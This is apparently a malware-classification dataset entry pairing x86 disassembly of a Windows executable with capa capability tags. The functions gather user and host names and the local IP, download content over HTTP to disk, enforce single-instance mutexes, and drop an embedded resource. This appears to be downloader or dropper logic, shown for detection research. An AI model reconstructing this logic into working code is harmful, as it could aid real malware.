joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404e20
Capabilities:
Get session user name

Disassembly:
sub esp, 0x20
mov eax, dword [0x41f608]
mov dword [esp + 0x1c], eax
xor eax, eax
push ebx
mov dword [esp + 0x15], eax
push ebp
mov ebx, ecx
mov dword [esp + 0x1d], eax
push 0x401
mov dword [esp + 0x18], ebx
mov byte [esp + 0x1c], 0
mov byte [esp + 0x25], al
call fcn.0040e390
mov ebp, eax
add esp, 4
test ebp, ebp
je 0x404e69
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x404e7a
pop ebp
xor al, al
pop ebx
mov ecx, dword [esp + 0x1c]
call fcn.0040e486
add esp, 0x20
ret
push esi
push edi
push str.GetComputerNameExA
push eax
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
jne 0x404ecb
push 0x1e
call fcn.0040e390
add esp, 4
mov esi, eax
push str.ERRORNAME_
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0xa
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040edb3
add esp, 0xc
lea edx, [esp + 0x20]
push edx
jmp 0x404f40
lea eax, [esp + 0x10]
push eax
push 0
push 7
call edi
mov eax, dword [esp + 0x10]
cmp eax, 1
jae 0x404ee8
mov eax, 0x200
mov dword [esp + 0x10], eax
inc eax
push eax
call fcn.0040e390
mov esi, eax
add esp, 4
test esi, esi
jne 0x404f0b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov ecx, dword [esp + 0x1c]
call fcn.0040e486
add esp, 0x20
ret
lea ecx, [esp + 0x10]
push ecx
push esi
push 7
call edi
test eax, eax
jne 0x404f47
push str.ERRORNAME_
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0xa
lea edx, [esp + 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040edb3
add esp, 0xc
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
call edi
push eax
push esi
push ebp
call fcn.004034a0
add esp, 0xc
lea ecx, [esp + 0x18]
push ecx
push ebp
call edi
push eax
push ebp
mov ecx, ebx
call fcn.00404360
test esi, esi
mov dword [ebx + 0x400], eax
je 0x404f7f
push esi
call fcn.0040e3a2
add esp, 4
mov ebx, dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [esp + 0x14]
push edx
push 0
mov dword [esp + 0x1c], 0
call ebx
mov eax, dword [esp + 0x14]
cmp eax, 1
jae 0x404fa8
mov eax, 0x200
mov dword [esp + 0x14], eax
inc eax
push eax
call fcn.0040e390
mov esi, eax
add esp, 4
lea eax, [esp + 0x14]
push eax
push esi
call ebx
test eax, eax
jne 0x404fee
push str.ERRORNAME_
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0xa
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040edb3
add esp, 0xc
lea edx, [esp + 0x20]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
call edi
push eax
push esi
push ebp
call fcn.004034a0
add esp, 0xc
lea eax, [esp + 0x18]
push eax
push ebp
call edi
mov edi, dword [esp + 0x20]
push eax
push ebp
mov ecx, edi
call fcn.00404360
test esi, esi
mov dword [edi + 0x404], eax
je 0x405024
push esi
call fcn.0040e3a2
add esp, 4
push ebp
call fcn.0040e3a2
mov ecx, dword [esp + 0x30]
add esp, 4
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
call fcn.0040e486
add esp, 0x20
ret
Function at 0x405040
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x29c
mov eax, dword [0x41f608]
push ebx
push esi
mov dword [esp + 0x2a0], eax
push edi
lea eax, [esp + 0x110]
push eax
push 0x202
mov ebx, ecx
call sub.WSOCK32.dll_WSAStartup
test eax, eax
je 0x405088
xor al, al
mov ecx, dword [esp + 0x2a4]
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push pe_nt_image_headers32
push 1
call fcn.0040e3da
mov esi, eax
xor eax, eax
mov byte [esp + 0x18], 0
mov ecx, 0x1f
lea edi, [esp + 0x19]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [esp + 0x98], 0
xor eax, eax
mov ecx, 0x1f
lea edi, [esp + 0x99]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 8
stosb byte es:[edi], al
push 0x80
xor eax, eax
mov ecx, 0x40
mov edi, esi
push esi
rep stosd dword es:[edi], eax
call sub.WSOCK32.dll_gethostname
push esi
call sub.WSOCK32.dll_gethostbyname
test eax, eax
je 0x40514e
mov ecx, dword [eax + 0xc]
mov eax, dword [ecx]
test eax, eax
je 0x40514e
mov edx, dword [eax]
push edx
call sub.WSOCK32.dll_inet_ntoa
push eax
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [esp + 0x10]
push ecx
call edi
push eax
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x98]
push eax
call fcn.004034a0
add esp, 0xc
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x94]
push edx
call edi
push eax
lea eax, [esp + 0x98]
push eax
mov ecx, ebx
call fcn.00404360
mov dword [ebx + 0x40c], eax
push esi
call fcn.0040e3a2
mov ecx, dword [esp + 0x2a8]
add esp, 4
mov al, 1
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x405200
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x417510
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x118
mov eax, dword [0x41f608]
push ebx
push esi
push edi
mov dword [ebp - 0x14], eax
mov esi, ecx
xor eax, eax
xor ebx, ebx
mov byte [ebp - 0x118], bl
mov ecx, 0x40
lea edi, [ebp - 0x117]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x118]
mov dword [ebp - 0x10], esp
push eax
mov ecx, esi
call fcn.00404890
test al, al
je 0x4052bd
lea ecx, [ebp - 0x124]
push ecx
lea edx, [ebp - 0x118]
push edx
mov ecx, esi
call fcn.00404300
test al, al
je 0x4052bd
mov eax, dword [ebp - 0x120]
cmp eax, dword [0x41c270]
jbe 0x4052bd
mov edx, dword [ebp - 0x124]
sub esp, 0xc
mov ecx, esp
mov dword [ecx], edx
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x11c]
mov dword [ecx + 8], eax
lea ecx, [ebp - 0x118]
push ecx
mov ecx, esi
mov dword [ebp - 4], ebx
call fcn.00404470
cmp al, bl
je 0x4052bd
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
xor al, al
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4052e0
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x41f608]
push ebx
mov dword [esp + 0x134], eax
push esi
push edi
mov ebx, ecx
xor eax, eax
mov byte [esp + 0x30], 0
mov ecx, 0x40
lea edi, [esp + 0x31]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x30]
push eax
mov ecx, ebx
call fcn.004046e0
test al, al
je 0x4053e9
push 0
push 0x80
push 3
push 0
push 1
push 0x1f01ff
lea ecx, [esp + 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4053e9
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x4053e9
push esi
call fcn.0040e390
add esp, 4
push esi
push eax
lea edx, [esp + 0x38]
push edx
mov ecx, ebx
mov dword [esp + 0x1c], eax
call fcn.00403f40
test eax, eax
je 0x4053e9
push esi
call fcn.0040e390
mov edi, eax
mov eax, dword [esp + 0x14]
push esi
push eax
push edi
mov dword [esp + 0x24], edi
call fcn.0040e9f0
mov edx, dword [esp + 0x20]
add esp, 0x10
push 0x18
push 0x41c5d8
lea ecx, [esi - 8]
push ecx
lea eax, [edi + 8]
push eax
add edx, 8
push edx
mov ecx, ebx
call fcn.00403d60
test eax, eax
jne 0x4053cb
mov eax, dword [esp + 0x10]
push eax
jmp 0x4053db
mov eax, dword [edi + 8]
lea ecx, [eax + eax*2 + 0xc]
cmp esi, ecx
jae 0x4053fe
mov edx, dword [esp + 0x10]
push edx
call fcn.0040e3a2
push edi
call fcn.0040e3a2
add esp, 8
xor al, al
mov ecx, dword [esp + 0x13c]
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test eax, eax
jbe 0x405477
lea esi, [edi + 0xe]
mov edi, eax
jmp 0x405410
movzx ecx, word [esi - 2]
xor eax, eax
mov dword [esp + 0x1d], eax
mov dword [esp + 0x21], eax
mov dword [esp + 0x25], eax
push ecx
mov dword [esp + 0x2d], eax
lea edx, [esp + 0x20]
mov word [esp + 0x31], ax
push 0x4184ac
push edx
mov byte [esp + 0x28], 0
mov byte [esp + 0x3b], al
call fcn.0040e494
movzx eax, byte [esi]
add esp, 0xc
push 4
lea ecx, [esp + 0x1c]
push ecx
push 4
lea edx, [esp + 0x28]
push edx
push 0x41836c
push 0x80000002
mov ecx, ebx
mov dword [esp + 0x30], eax
call fcn.0040abb0
add esi, 3
dec edi
jne 0x405410
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
push eax
call fcn.0040e3a2
push edi
call fcn.0040e3a2
mov ecx, dword [esp + 0x144]
add esp, 8
mov al, 1
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405550
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x41755a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
mov esi, ecx
mov dword [esi], 0x4184b0
xor ebx, ebx
mov eax, 0xf
mov dword [esi + 0x28], eax
mov dword [esi + 0x24], ebx
push edi
mov dword [esp + 0xc], esi
mov byte [esi + 0x14], bl
mov dword [esi + 0x44], eax
mov dword [esi + 0x40], ebx
mov dword [esp + 0x18], ebx
mov byte [esi + 0x30], bl
mov dword [esi + 0x60], eax
mov dword [esi + 0x5c], ebx
mov byte [esi + 0x4c], bl
mov dword [esi + 0x7c], eax
mov dword [esi + 0x78], ebx
mov byte [esi + 0x68], bl
lea edi, [esi + 0x88]
mov ecx, edi
mov byte [esp + 0x18], 3
call fcn.004054a0
mov dword [edi + 4], eax
mov dword [edi + 8], ebx
lea edi, [esi + 0x94]
mov ecx, edi
mov byte [esp + 0x18], 4
call fcn.004054a0
mov ecx, dword [esp + 0x10]
mov dword [edi + 4], eax
mov dword [edi + 8], ebx
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
pop edi
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x405a70
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4175fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x32b0
call fcn.0040ee00
mov eax, dword [0x41f608]
push ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp + 0xc], 0xffffffff
push esi
push edi
mov dword [ebp - 0x10], esp
mov byte [ebp - 0x32bd], 0
je 0x405b32
mov esi, dword [ebp + 8]
test esi, esi
je 0x405b32
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
call ebx
cmp eax, 0x200
jge 0x405b32
xor eax, eax
mov byte [ebp - 0xabc], 0
mov ecx, 0x1ff
lea edi, [ebp - 0xabb]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4184e8]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [str.http:__]
push esi
lea edx, [ebp - 0xabc]
push edx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0xabc]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov esi, eax
test esi, esi
je 0x405b32
lea edx, [ebp - 0x1c]
push edx
call ebx
add esi, eax
push 0x4184e0
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrA]
mov ebx, eax
test ebx, ebx
jne 0x405b39
xor al, al
jmp 0x405c4a
xor eax, eax
mov byte [ebp - 0x2bc], 0
mov ecx, 0x7f
lea edi, [ebp - 0x2bb]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push ebx
lea eax, [ebp - 0x2bc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [ebp - 0xbc]
mov byte [ebx], 0
call fcn.00405550
push str.Mozilla_4.0__compatible___
xor ebx, ebx
push ebx
push ebx
mov dword [ebp - 4], ebx
push esi
lea ecx, [ebp - 0xbc]
mov byte [ebp - 4], 1
call fcn.0040d210
test al, al
je 0x405c32
push ebx
push ebx
lea ecx, [ebp - 0x2bc]
push ecx
lea ecx, [ebp - 0xbc]
call fcn.0040d720
test al, al
je 0x405c32
lea ecx, [ebp - 0xbc]
call fcn.0040c530
cmp eax, 0xc8
jne 0x405c32
mov byte [ebp - 0x32bc], bl
xor eax, eax
mov ecx, 0x9ff
lea edi, [ebp - 0x32bb]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
mov byte [ebp - 0x32bd], 1
jmp 0x405bf0
push 0x2800
lea edx, [ebp - 0x32bc]
push edx
lea ecx, [ebp - 0xbc]
call fcn.0040c5b0
mov esi, eax
test esi, esi
jle 0x405c32
mov edx, dword [ebp + 0xc]
push 0
lea eax, [ebp + 8]
push eax
push esi
lea ecx, [ebp - 0x32bc]
push ecx
push edx
call edi
add ebx, esi
jmp 0x405bf0
lea ecx, [ebp - 0xbc]
mov dword [ebp - 4], 0xffffffff
call fcn.00405600
mov al, byte [ebp - 0x32bd]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x406260
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x114
mov eax, dword [0x41f608]
push ebx
mov dword [esp + 0x114], eax
push esi
push edi
mov ebx, ecx
xor eax, eax
mov byte [esp + 0x10], 0
mov ecx, 0x40
lea edi, [esp + 0x11]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10]
push eax
mov ecx, ebx
mov dword [esp + 0x10], ebx
call fcn.00404ac0
mov esi, eax
cmp esi, 0xffffffff
jne 0x4062e3
mov ecx, dword [ebx + 0x408]
mov edx, dword [ebp + 0x10]
push ecx
push edx
push str.1651
push 0x41c5c8
lea eax, [ebx + 0x200]
push eax
mov ecx, ebx
call fcn.00405f00
xor al, al
mov ecx, dword [esp + 0x11c]
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
xor edi, edi
jmp 0x4062f0
mov ecx, dword [ebp + 8]
push esi
push ecx
mov ecx, dword [esp + 0x14]
call fcn.00405a70
test al, al
jne 0x406340
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x80
push 2
push 0
push 0
push 0x1f01ff
lea eax, [esp + 0x28]
push eax
call ebx
inc edi
cmp edi, 0x1e
mov esi, eax
jl 0x4062f0
cmp esi, 0xffffffff
je 0x40634c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea ecx, [esp + 0x28]
push ecx
call ebx
cmp eax, 0xffffffff
je 0x4063d2
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0xc]
mov esi, dword [esp + 0xc]
push eax
lea ecx, [esp + 0x14]
push ecx
mov ecx, esi
call fcn.00404a40
test al, al
jne 0x40640e
mov edx, dword [esi + 0x408]
mov eax, dword [ebp + 0x10]
push edx
push eax
push str.1481
push 0x41c5c8
lea ecx, [esi + 0x200]
push ecx
mov ecx, esi
call fcn.00405f00
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
mov ecx, dword [esp + 0x11c]
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [esp + 0xc]
mov edx, dword [ecx + 0x408]
mov eax, dword [ebp + 0x10]
push edx
push eax
push str.1789
push 0x41c5c8
lea edx, [ecx + 0x200]
push edx
call fcn.00405f00
xor al, al
mov ecx, dword [esp + 0x11c]
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [esi + 0x408]
mov ecx, dword [ebp + 0x10]
push eax
push ecx
push str.2999
push 0x41c5c8
lea edx, [esi + 0x200]
push edx
mov ecx, esi
call fcn.00405f00
mov ecx, dword [esp + 0x11c]
mov al, 1
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x406450
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x114
mov eax, dword [0x41f608]
push ebx
mov dword [esp + 0x114], eax
push esi
push edi
mov ebx, ecx
xor eax, eax
mov byte [esp + 0x10], 0
mov ecx, 0x40
lea edi, [esp + 0x11]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10]
push eax
mov ecx, ebx
mov dword [esp + 0x10], ebx
call fcn.00404b90
mov esi, eax
cmp esi, 0xffffffff
jne 0x4064d3
mov ecx, dword [ebx + 0x408]
mov edx, dword [ebp + 0x10]
push ecx
push edx
push str.1651
push 0x41c5c0
lea eax, [ebx + 0x200]
push eax
mov ecx, ebx
call fcn.00405f00
xor al, al
mov ecx, dword [esp + 0x11c]
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
xor edi, edi
jmp 0x4064e0
mov ecx, dword [ebp + 8]
push esi
push ecx
mov ecx, dword [esp + 0x14]
call fcn.00405a70
test al, al
jne 0x406530
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x80
push 2
push 0
push 0
push 0x1f01ff
lea eax, [esp + 0x28]
push eax
call ebx
inc edi
cmp edi, 0x1e
mov esi, eax
jl 0x4064e0
cmp esi, 0xffffffff
je 0x40653c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea ecx, [esp + 0x28]
push ecx
call ebx
cmp eax, 0xffffffff
je 0x4065c2
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0xc]
mov esi, dword [esp + 0xc]
push eax
lea ecx, [esp + 0x14]
push ecx
mov ecx, esi
call fcn.00404a40
test al, al
jne 0x4065fe
mov edx, dword [esi + 0x408]
mov eax, dword [ebp + 0x10]
push edx
push eax
push str.1481
push 0x41c5c0
lea ecx, [esi + 0x200]
push ecx
mov ecx, esi
call fcn.00405f00
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
mov ecx, dword [esp + 0x11c]
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov ecx, dword [esp + 0xc]
mov edx, dword [ecx + 0x408]
mov eax, dword [ebp + 0x10]
push edx
push eax
push str.1789
push 0x41c5c0
lea edx, [ecx + 0x200]
push edx
call fcn.00405f00
xor al, al
mov ecx, dword [esp + 0x11c]
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [esi + 0x408]
mov ecx, dword [ebp + 0x10]
push eax
push ecx
push str.2999
push 0x41c5c0
lea edx, [esi + 0x200]
push edx
mov ecx, esi
call fcn.00405f00
mov ecx, dword [esp + 0x11c]
mov al, 1
call fcn.0040e486
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x406af0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
push str.A_FCVSDFVBASLEI_BMGldfl_643wSSDL____S
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
jne 0x406b06
xor al, al
ret
push 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x406b1e
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov al, 1
ret
Function at 0x406bc0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
push 0
lea eax, [esp + 0xc]
push eax
push 0
push 0xf003f
push 1
push 0
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x406c18
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
push eax
mov eax, dword [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x10]
push edx
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x406c1d
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
ret 0x18
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
ret 0x18

Function at 0x406d90
Capabilities:
Check mutex on windows

Disassembly:
push ecx
mov eax, dword [0x41c270]
push esi
push edi
push 4
lea edx, [esp + 0xc]
push edx
push 4
push 0x418574
push 0x418564
push 0x80000002
mov dword [esp + 0x20], eax
call fcn.0040abb0
mov edi, dword [sym.imp.KERNEL32.dll_CreateMutexA]
push str.U__CSFDFP3DmDsAtdseEWE5we093wddwre3
push 1
push 0
call edi
mov esi, eax
test esi, esi
je 0x406ddf
push str.A_FCVSDFVBASLEI_BMGldfl_643wSSDL____S
push 1
push 0
call edi
test eax, eax
jne 0x406de5
pop edi
xor al, al
pop esi
pop ecx
ret
push 0xea60
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov al, 1
pop esi
pop ecx
ret

Function at 0x406e00
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
push ecx
mov eax, dword [0x41c270]
push 4
lea edx, [esp + 4]
push edx
push 4
push 0x418574
push 0x418564
push 0x80000002
mov dword [esp + 0x18], eax
call fcn.0040abb0
push str.A_FCVSDFVBASLEI_BMGldfl_643wSSDL____S
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
jne 0x406e3e
xor al, al
pop ecx
ret
push 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x406e56
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov al, 1
pop ecx
ret

Function at 0x406fe0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Terminate process

Disassembly:
push ecx
push esi
mov esi, ecx
call fcn.00406b30
mov ecx, esi
call fcn.00406e60
cmp eax, 1
jne 0x406ffe
mov ecx, esi
call fcn.00406d90
jmp 0x407046
test eax, eax
jne 0x40702c
push str.A_FCVSDFVBASLEI_BMGldfl_643wSSDL____S
push 1
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x407046
push 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x407046
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp eax, 0xffffffff
jne 0x40703a
mov ecx, esi
call fcn.00406af0
jmp 0x407046
cmp eax, 0xfffffffe
jne 0x407046
mov ecx, esi
call fcn.00406e00
lea eax, [esp + 4]
push eax
push 0
push 0
push 0x406ed0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
pop esi
pop ecx
ret
Function at 0x407070
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
movzx ecx, word [esp + 0xc]
push ebp
mov ebp, dword [esp + 0xc]
push edi
push eax
push ecx
push ebp
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x40709b
pop edi
pop ebp
pop ecx
ret
push ebx
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
jne 0x4070af
pop ebx
pop edi
pop ebp
pop ecx
ret
mov edx, dword [esp + 0x20]
push esi
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
jne 0x4070d9
pop esi
pop ebx
pop edi
pop ebp
pop ecx
ret
push 0
lea eax, [esp + 0x14]
push eax
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
pop edi
mov eax, 1
pop ebp
pop ecx
ret

Function at 0x407150
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [esp + 4]
cmp word [eax], 0x5a4d
jne 0x40719c
mov ecx, dword [eax + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x40719c
mov ecx, dword [esp + 8]
mov dword [ecx], eax
cmp dword [eax], 0x4550
jne 0x40719c
mov edx, dword [esp + 0xc]
add eax, 4
mov dword [ecx], eax
add eax, 0x14
mov dword [edx], eax
cmp word [eax], 0x10b
jne 0x40719c
mov ecx, dword [esp + 0x10]
add eax, 0xe0
mov dword [ecx], eax
mov eax, 1
ret
xor eax, eax
ret

Function at 0x4071a0
Capabilities:
Parse pe header

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x20]
cmp word [edi], 0x5a4d
mov dword [esp + 0x10], 0
jne 0x4071de
mov eax, dword [edi + 0x3c]
mov ecx, dword [eax + edi]
add eax, edi
cmp ecx, 0x4550
jne 0x4071de
cmp dword [eax], 0x4550
jne 0x4071e2
add eax, 4
lea ecx, [eax + 0x14]
mov dword [esp + 0x20], ecx
jmp 0x4071e2
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x20]
mov ecx, dword [edx + 0x88]
test ecx, ecx
je 0x4072a1
test byte [eax + 0x12], 1
jne 0x4072a1
add ecx, edi
mov eax, 1
test eax, eax
jne 0x407212
cmp dword [ecx], 0
je 0x4072a1
mov edx, dword [ecx + 4]
add edx, 0xfffffff8
xor eax, eax
shr edx, 1
test edx, edx
mov dword [esp + 0x18], eax
lea esi, [ecx + 8]
mov dword [esp + 0x14], eax
jbe 0x407284
jmp 0x407230
xor eax, eax
mov ax, word [esi]
mov ebx, eax
and ebx, 0xf000
cmp ebx, 0x3000
jne 0x407270
mov ebx, dword [esp + 0x10]
mov ebp, dword [esp + 0x20]
inc ebx
mov dword [esp + 0x10], ebx
mov ebx, dword [ecx]
and eax, 0xfff
add eax, ebx
mov ebx, dword [eax + edi]
sub ebx, dword [ebp + 0x1c]
cmp ebx, dword [esp + 0x24]
jne 0x407270
cmp word [eax + edi - 2], 0x5c7
je 0x40728c
mov eax, dword [esp + 0x14]
inc eax
add esi, 2
cmp eax, edx
mov dword [esp + 0x14], eax
jb 0x407230
mov eax, dword [esp + 0x18]
add ecx, dword [ecx + 4]
jmp 0x407205
mov eax, dword [eax + edi + 4]
mov ecx, dword [esp + 0x20]
mov edx, dword [ecx + 0x1c]
pop edi
pop esi
pop ebp
sub eax, edx
pop ebx
add esp, 0xc
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret